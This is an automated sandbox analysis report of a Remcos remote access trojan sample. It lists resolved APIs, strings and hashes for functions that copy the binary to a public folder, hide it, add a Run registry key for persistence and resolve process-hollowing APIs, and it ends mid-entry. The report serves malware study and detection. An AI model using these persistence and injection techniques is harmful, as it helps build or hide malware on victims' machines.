Instruction ID: 6c00efc4ea11a1b3ac80a64d56d52b77b51086f4921d7abd5b31543bf310a23c
Opcode Fuzzy Hash: 2cb8f47092eb36538797c7f5b7103818dd7cdf1f9f82e4e329f41d2ff6d914d9
Instruction Fuzzy Hash: E6A1C1A67106010BD718AA7C9C893BDB3C2DBC4325F28827EE51DCB3C5EB68CD56C660

Uniqueness

Uniqueness Score: -1.00%

Function 02D694A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,02D69596), ref: 02D6952E
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,02D69596), ref: 02D69534

Strings

yyyy, xrefs: 02D69509

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: a0da6e99c7831421ddfbc4d9a48fedf80eb6e91045dfda723a6a4530aed8ea4f
Instruction ID: eacf0917b9742c22dddf3cc92d3d572112be156143d34ae7cf6fca1e2e14ab71
Opcode Fuzzy Hash: a0da6e99c7831421ddfbc4d9a48fedf80eb6e91045dfda723a6a4530aed8ea4f
Instruction Fuzzy Hash: D4217171A012189BDB21DFA4D955AFEB3F9EF48710F5100A6E905E7340E730DE44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02D6645C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 02D66465
TlsGetValue.KERNEL32(00000020), ref: 02D6647A

Strings

i, xrefs: 02D6647F

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AllocValue
String ID: i
API String ID: 1189806713-1314162127
Opcode ID: 85d8edb3d2651fbc26113ee1f7d463b61cca02f0f8c1cfe77f0a71bf15516822
Instruction ID: d6be20cd1196c4d91146da4b5c064e1efa89aafb59d5a7fc74ddc86aae44c6d6
Opcode Fuzzy Hash: 85d8edb3d2651fbc26113ee1f7d463b61cca02f0f8c1cfe77f0a71bf15516822
Instruction Fuzzy Hash: 8DC002A0D647829BEF00BBB6A94862927ADEB05345F084926A450C774ADB3CDC14DFB4

Uniqueness

Uniqueness Score: -1.00%

Function 02D79F9C Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004,?,00000004,?,00000008), ref: 02D79FD0
IsBadWritePtr.KERNEL32(?,00000004,?,00000004,?,00000004,?,00000008), ref: 02D7A000
IsBadReadPtr.KERNEL32(?,00000008), ref: 02D7A01F
IsBadReadPtr.KERNEL32(?,00000004,?,00000008), ref: 02D7A02B

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: 3ad3bb96e2a10f813d86af9a74392d0af8acae6b90b2c130b1f55d269701f8a3
Instruction ID: 83162dab7a287d875fa94fc16a8682865bace0bfaa8ca9eed1ca2a46415d2e0f
Opcode Fuzzy Hash: 3ad3bb96e2a10f813d86af9a74392d0af8acae6b90b2c130b1f55d269701f8a3
Instruction Fuzzy Hash: 0321A27164021AABDB10CF69CC80BAEB3A9EF84351F148955EE1097388E73CEC11CAA4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: nmfsxfjX.pifPID: 5000, Parent PID: 2056COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	28.8%
Total number of Nodes:	744
Total number of Limit Nodes:	23

Executed Functions

Function 0040E9C5 Relevance: 84.8, APIs: 14, Strings: 34, Instructions: 795
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041CB50: LoadLibraryA.KERNELBASE(Psapi,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB65
Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CB6E
Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CB88
Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0040E9E1), ref: 0041CB9A
Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CB9D
Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,0040E9E1), ref: 0041CBAE
Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBB1
Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,0040E9E1), ref: 0041CBC3
Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBC6
Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,0040E9E1), ref: 0041CBD2
Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBD5
Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBE9
Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CBFD
Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0040E9E1), ref: 0041CC0E
Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC11
Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC25
Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC39
Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC4D
Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC61
Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CC75
Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,0040E9E1), ref: 0041CC83

GetModuleFileNameW.KERNEL32(00000000,C:\Users\Public\Libraries\nmfsxfjX.pif,00000104), ref: 0040E9EE

Part of subcall function 00410F37: __EH_prolog.LIBCMT ref: 00410F3C

Strings

PG, xrefs: 0040F036
C:\Users\Public\Libraries\nmfsxfjX.pif, xrefs: 0040E9E6, 0040EE0F
del, xrefs: 0040F2ED, 0040F36F
PG, xrefs: 0040F12B
Remcos Agent initialized, xrefs: 0040EFEF
PG, xrefs: 0040ED47
Exe, xrefs: 0040EB14
Administrator, xrefs: 0040F287
PG, xrefs: 0040EA5D
PG, xrefs: 0040F187
Rmc-L24XL1, xrefs: 0040EB05, 0040EB62
PG, xrefs: 0040F1C7
PG, xrefs: 0040EF66
PSG, xrefs: 0040F224
Exe, xrefs: 0040EB0F
PG, xrefs: 0040F1F3
Access Level: , xrefs: 0040F29F
Inj, xrefs: 0040EBD5, 0040EBEC
del, xrefs: 0040F2D1
PG, xrefs: 0040EA96
Software\, xrefs: 0040EAC3
PG, xrefs: 0040ED7B
8SG, xrefs: 0040EF1D
PG, xrefs: 0040F103
PG, xrefs: 0040F0D8
exepath, xrefs: 0040EE92, 0040EF40
license_code.txt, xrefs: 0040EA4D
dMG, xrefs: 0040F1A8
8SG, xrefs: 0040EE65
PG, xrefs: 0040EEAC
PG, xrefs: 0040EDD3
PG, xrefs: 0040F154
User, xrefs: 0040F28E
licence, xrefs: 0040EF88

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
String ID: 8SG$8SG$Access Level: $Administrator$C:\Users\Public\Libraries\nmfsxfjX.pif$Exe$Exe$Inj$PSG$Remcos Agent initialized$Rmc-L24XL1$Software\$User$dMG$del$del$exepath$licence$license_code.txt$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG
API String ID: 2830904901-3468781824
Opcode ID: 8a6c2c2187a766e7c71a5247d826f4c94b5c0f918bced47fe90c81bb18daf3e4
Instruction ID: d4e128c763ae9979da4f7e35a5cae12564b96cb69b39ecb6445d524eb2b23fe8
Opcode Fuzzy Hash: 8a6c2c2187a766e7c71a5247d826f4c94b5c0f918bced47fe90c81bb18daf3e4
Instruction Fuzzy Hash: 6332D860B043412BDA24B7729C67B6E26994F81748F50483FB9467B2E3EFBC4D45839E

Uniqueness

Uniqueness Score: -1.00%

Function 0041CB50 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(Psapi,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB65
GetProcAddress.KERNEL32(00000000), ref: 0041CB6E
GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
GetProcAddress.KERNEL32(00000000), ref: 0041CB88
LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0040E9E1), ref: 0041CB9A
GetProcAddress.KERNEL32(00000000), ref: 0041CB9D
LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,0040E9E1), ref: 0041CBAE
GetProcAddress.KERNEL32(00000000), ref: 0041CBB1
LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,0040E9E1), ref: 0041CBC3
GetProcAddress.KERNEL32(00000000), ref: 0041CBC6
LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,0040E9E1), ref: 0041CBD2
GetProcAddress.KERNEL32(00000000), ref: 0041CBD5
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
GetProcAddress.KERNEL32(00000000), ref: 0041CBE9
GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
GetProcAddress.KERNEL32(00000000), ref: 0041CBFD
LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0040E9E1), ref: 0041CC0E
GetProcAddress.KERNEL32(00000000), ref: 0041CC11
GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
GetProcAddress.KERNEL32(00000000), ref: 0041CC25
GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
GetProcAddress.KERNEL32(00000000), ref: 0041CC39
GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
GetProcAddress.KERNEL32(00000000), ref: 0041CC4D
GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
GetProcAddress.KERNEL32(00000000), ref: 0041CC61
GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
GetProcAddress.KERNEL32(00000000), ref: 0041CC75
LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,0040E9E1), ref: 0041CC83
GetProcAddress.KERNEL32(00000000), ref: 0041CC86
LoadLibraryA.KERNEL32(kernel32,GetConsoleWindow,?,?,?,?,0040E9E1), ref: 0041CC97
GetProcAddress.KERNEL32(00000000), ref: 0041CC9A
GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040E9E1), ref: 0041CCA7
GetProcAddress.KERNEL32(00000000), ref: 0041CCAA
GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040E9E1), ref: 0041CCB7
GetProcAddress.KERNEL32(00000000), ref: 0041CCBA
LoadLibraryA.KERNELBASE(Iphlpapi,GetExtendedTcpTable,?,?,?,?,0040E9E1), ref: 0041CCCC
GetProcAddress.KERNEL32(00000000), ref: 0041CCCF
LoadLibraryA.KERNEL32(Iphlpapi,GetExtendedUdpTable,?,?,?,?,0040E9E1), ref: 0041CCDC
GetProcAddress.KERNEL32(00000000), ref: 0041CCDF
GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,0040E9E1), ref: 0041CCF0
GetProcAddress.KERNEL32(00000000), ref: 0041CCF3
GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,0040E9E1), ref: 0041CD04
GetProcAddress.KERNEL32(00000000), ref: 0041CD07
LoadLibraryA.KERNELBASE(Rstrtmgr,RmStartSession,?,?,?,?,0040E9E1), ref: 0041CD19
GetProcAddress.KERNEL32(00000000), ref: 0041CD1C
LoadLibraryA.KERNEL32(Rstrtmgr,RmRegisterResources,?,?,?,?,0040E9E1), ref: 0041CD29
GetProcAddress.KERNEL32(00000000), ref: 0041CD2C
LoadLibraryA.KERNEL32(Rstrtmgr,RmGetList,?,?,?,?,0040E9E1), ref: 0041CD39
GetProcAddress.KERNEL32(00000000), ref: 0041CD3C
LoadLibraryA.KERNEL32(Rstrtmgr,RmEndSession,?,?,?,?,0040E9E1), ref: 0041CD49
GetProcAddress.KERNEL32(00000000), ref: 0041CD4C

Strings

user32, xrefs: 0041CBA9, 0041CC2C, 0041CC40, 0041CC54
kernel32, xrefs: 0041CBCD, 0041CBDC, 0041CBF0, 0041CC18, 0041CC68, 0041CC8D, 0041CCFA
GetExtendedTcpTable, xrefs: 0041CCBC
IsUserAnAdmin, xrefs: 0041CBFF
shcore, xrefs: 0041CB95
Shell32, xrefs: 0041CC04
GetExtendedUdpTable, xrefs: 0041CCD1
SetProcessDpiAwareness, xrefs: 0041CB8F, 0041CB94, 0041CBA8
GetMonitorInfoW, xrefs: 0041CC4F
GetProcessImageFileNameW, xrefs: 0041CB5A, 0041CB5F, 0041CB7F
ntdll, xrefs: 0041CBBD, 0041CBC2, 0041CCA1, 0041CCB1, 0041CCE6
NtUnmapViewOfSection, xrefs: 0041CBB8
RmEndSession, xrefs: 0041CD3E
RmStartSession, xrefs: 0041CD09
RmGetList, xrefs: 0041CD2E
Iphlpapi, xrefs: 0041CCC1, 0041CCCB, 0041CCD6
NtQueryInformationProcess, xrefs: 0041CCE1
Psapi, xrefs: 0041CB60
GetSystemTimes, xrefs: 0041CC63
IsWow64Process, xrefs: 0041CBD7
EnumDisplayDevicesW, xrefs: 0041CC27
Shlwapi, xrefs: 0041CC79
GetFinalPathNameByHandleW, xrefs: 0041CCF5
Rstrtmgr, xrefs: 0041CD0E, 0041CD18, 0041CD23, 0041CD33, 0041CD43
GetComputerNameExW, xrefs: 0041CBEB
GlobalMemoryStatusEx, xrefs: 0041CBC8
NtSuspendProcess, xrefs: 0041CC9C
NtResumeProcess, xrefs: 0041CCAC
GetConsoleWindow, xrefs: 0041CC88
EnumDisplayMonitors, xrefs: 0041CC3B
SetProcessDEPPolicy, xrefs: 0041CC13
RmRegisterResources, xrefs: 0041CD1E
Kernel32, xrefs: 0041CB80

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$HandleModule
String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
API String ID: 4236061018-3687161714
Opcode ID: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
Instruction ID: 43d5c3d51f8f0173c8b3474e0c84bdc355f07b7b5b23ff39ae26555794408ecb
Opcode Fuzzy Hash: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
Instruction Fuzzy Hash: 31419EA0EC035879DA107BB66DCDE3B3E5CD9857953214837B15CA7150EBBCD8408EAE

Uniqueness

Uniqueness Score: -1.00%

Function 0040CDF9 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 203
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0040CE07
CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040CE20
CopyFileW.KERNELBASE(C:\Users\Public\Libraries\nmfsxfjX.pif,00000000,00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe), ref: 0040CED0
_wcslen.LIBCMT ref: 0040CEE6
CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040CF6E
CopyFileW.KERNEL32(C:\Users\Public\Libraries\nmfsxfjX.pif,00000000,00000000), ref: 0040CF84
SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFC3
_wcslen.LIBCMT ref: 0040CFC6
SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFDD
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004750E4,0000000E), ref: 0040D02D
ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000001), ref: 0040D04B
ExitProcess.KERNEL32 ref: 0040D062

Strings

C:\Users\Public\Libraries\nmfsxfjX.pif, xrefs: 0040CE91, 0040CE96, 0040CEC9, 0040CF7E, 0040CF83, 0040CF8A, 0040CFEB
del, xrefs: 0040CFF5
open, xrefs: 0040D044
6, xrefs: 0040CEDA

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
String ID: 6$C:\Users\Public\Libraries\nmfsxfjX.pif$del$open
API String ID: 1579085052-3703211178
Opcode ID: f93ee9b19be39af8b2c6cf1a511189d127526c6382b99c39daec8717fd067cfe
Instruction ID: 6918cae47ac4af68ec004dabb58255b0e3542cbe00f5913d2fcd66cab837b2ae
Opcode Fuzzy Hash: f93ee9b19be39af8b2c6cf1a511189d127526c6382b99c39daec8717fd067cfe
Instruction Fuzzy Hash: CA51A620208302ABD605B7659C92A6F679D9F84719F10443FF609A62E3EFBC9D05866E

Uniqueness

Uniqueness Score: -1.00%

Function 0040DA34 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLongPathNameW.KERNELBASE(00000000,?,00000208), ref: 0040DB9A

Strings

AppData, xrefs: 0040DB51
SystemDrive, xrefs: 0040DA91
\SysWOW64, xrefs: 0040DB00
WinDir, xrefs: 0040DA9B, 0040DABD, 0040DB0F
ProgramData, xrefs: 0040DB5F
\system32, xrefs: 0040DAAE
UserProfile, xrefs: 0040DB58
ProgramFiles, xrefs: 0040DB6E
Temp, xrefs: 0040DA66

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: LongNamePath
String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
API String ID: 82841172-425784914
Opcode ID: 27fe91012a163c2b4846bfbe880e9f299d57e6666512bed227f78a6c4b2faef2
Instruction ID: 0cc8b9c4d8a16f3fd89327f32322cd7e2fd47b59120d3573c9b2d8a81569e3eb
Opcode Fuzzy Hash: 27fe91012a163c2b4846bfbe880e9f299d57e6666512bed227f78a6c4b2faef2
Instruction Fuzzy Hash: FB414F715082019AC215FB61DC52DAEB3F8AE90718F10053FB546A60E2FFB8AE49C65F

Uniqueness

Uniqueness Score: -1.00%

Function 0041B2C3 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
Part of subcall function 0041BFB7: IsWow64Process.KERNEL32(00000000,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFCF

Part of subcall function 004135A6: RegOpenKeyExA.KERNELBASE(80000001,00000400,00000000,00020019,?), ref: 004135CA
Part of subcall function 004135A6: RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,00000400), ref: 004135E7
Part of subcall function 004135A6: RegCloseKey.KERNELBASE(?), ref: 004135F2

StrToIntA.SHLWAPI(00000000,0046C9F8,00000000,00000000,00000000,004750E4,00000003,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0041B33C

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0041B2D7, 0041B2E1, 0041B322
(32 bit), xrefs: 0041B36F
CurrentBuildNumber, xrefs: 0041B31D
ProductName, xrefs: 0041B2D2
(64 bit), xrefs: 0041B368

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentOpenQueryValueWow64
String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 782494840-2070987746
Opcode ID: 96ddb31e540ae966eb624fdd9b0772b0253fe90f3b489e3583c12feb0da0b553
Instruction ID: 0537cd1ef0e49ffa1b211e53375311a7de90e31f2ded896f28e78de68f6ce99c
Opcode Fuzzy Hash: 96ddb31e540ae966eb624fdd9b0772b0253fe90f3b489e3583c12feb0da0b553
Instruction Fuzzy Hash: 42112370A4010566C704B3668C87EFF77198B95314F94013BF856A21E2FB6C599683AE

Uniqueness

Uniqueness Score: -1.00%

Function 00413814 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,?), ref: 0041381F
RegSetValueExW.KERNELBASE(?,00000000,00000000,00000001,00000000,00000000,?,?,?,?,00000000,004752D8,762337E0,?), ref: 0041384D
RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,004752D8,762337E0,?,?,?,?,?,0040CFAA,?,00000000), ref: 00413858

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 0041381D

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
API String ID: 1818849710-1051519024
Opcode ID: 7402a2b63bcdafcb128c4f053b5539bf219f88ac2658cd62b5e42ce82679dadc
Instruction ID: 91b44a8789fefabe47d0aed0b401f4e945a8dec35bb1902c17c37083bf943f80
Opcode Fuzzy Hash: 7402a2b63bcdafcb128c4f053b5539bf219f88ac2658cd62b5e42ce82679dadc
Instruction Fuzzy Hash: 83F0C271440218FBDF10AFA1EC45FEE376CEF00B56F10452AF905A61A1E7359F04DA94

Uniqueness

Uniqueness Score: -1.00%

Function 0040D069 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNELBASE(00000000,00000001,00000000,0040EC08,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0040D078
GetLastError.KERNEL32 ref: 0040D083

Strings

Rmc-L24XL1, xrefs: 0040D069

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: Rmc-L24XL1
API String ID: 1925916568-2965804744
Opcode ID: 801f4fab6620dad4192684c1acb97daf4a6912092659b95b34e50827bd09c0e4
Instruction ID: 95155ffd2f5cf2c34283977deb482d2843c3ccfb5002447f486bda260673b364
Opcode Fuzzy Hash: 801f4fab6620dad4192684c1acb97daf4a6912092659b95b34e50827bd09c0e4
Instruction Fuzzy Hash: 18D012B0604701EBD7181770ED5975839959744702F40487AB50BD99F1CBAC88908519

Uniqueness

Uniqueness Score: -1.00%

Function 004135A6 Relevance: 4.5, APIs: 3, Instructions: 44
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000400,00000000,00020019,?), ref: 004135CA
RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,00000400), ref: 004135E7
RegCloseKey.KERNELBASE(?), ref: 004135F2

Memory Dump Source

